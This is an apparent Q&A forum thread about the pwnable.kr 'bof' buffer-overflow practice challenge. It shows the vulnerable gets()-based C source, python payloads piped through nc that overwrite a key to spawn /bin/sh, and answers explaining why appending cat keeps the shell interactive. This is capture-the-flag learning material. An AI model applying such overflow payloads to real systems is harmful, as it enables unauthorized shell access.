I usually use "python -c" to pass arguments to C program.
Like this:
$ python -c 'print "a" * 12' | ./program
but when I execute a BOF practice program pwnable.kr/bof, the
python -c 'print'
and
( python -c 'print'; cat )
work differently.
I wrote a exploit code like this:
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
but it didn't work, so I found stack_canary value.
$ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
but it still didn't work
So I found other people's write up
$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
This exploit code successfully executed /bin/sh
Why this 3. exploit code passes stack canary and what is the difference between python -c 'print'  and  (python -c 'print'; cat) ?
#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
   }
 int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
 } 
bof.c source
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
* stack smashing detected *: /home/bof/bof terminated overflow me :
Nah..
$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000
overflow me :
Nah..
$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
successfully execute /bin/sh
Take a look at the accepted answer for this question, it does a pretty good job explaining this.
 Rens Althuis
 Rens Althuiscat /dev/null | /bin/sh
This will run /bin/sh shell (and abuse cats, but will leave them for a moment) and the shell /bin/sh will immediately close without writing anything. /bin/sh runs an interactive shell, but as the standard input of the shell is closed (either by <nothing> | or by </dev/null) the shell detects that the input has ended (it reads EOF) and exists immediately.
Now let's complicate the example:
$ cat <<EOF >bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
     // bla bla bla 
        system("/bin/sh");
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
EOF
$ gcc bof.c -o bof
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof
The ./bof program calls system("/bin/sh") if stack smashing was successful. But the shell /bin/sh would try to still read standard input. As there is nothing more to read (as the input python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' ended) it will read EOF and exit immediately. 
To write a string from a program and then allow the input to be interactive again, you can use a subshell with cat:
 ( printf "\x11\xbe\xba\xfe\xca" ; cat )
This will first run the printf command, then run the cat. cat will read from standard input after printf ended, so the console will act as an interactive again.
 KamilCuk
 KamilCukUser contributions licensed under CC BY-SA 3.0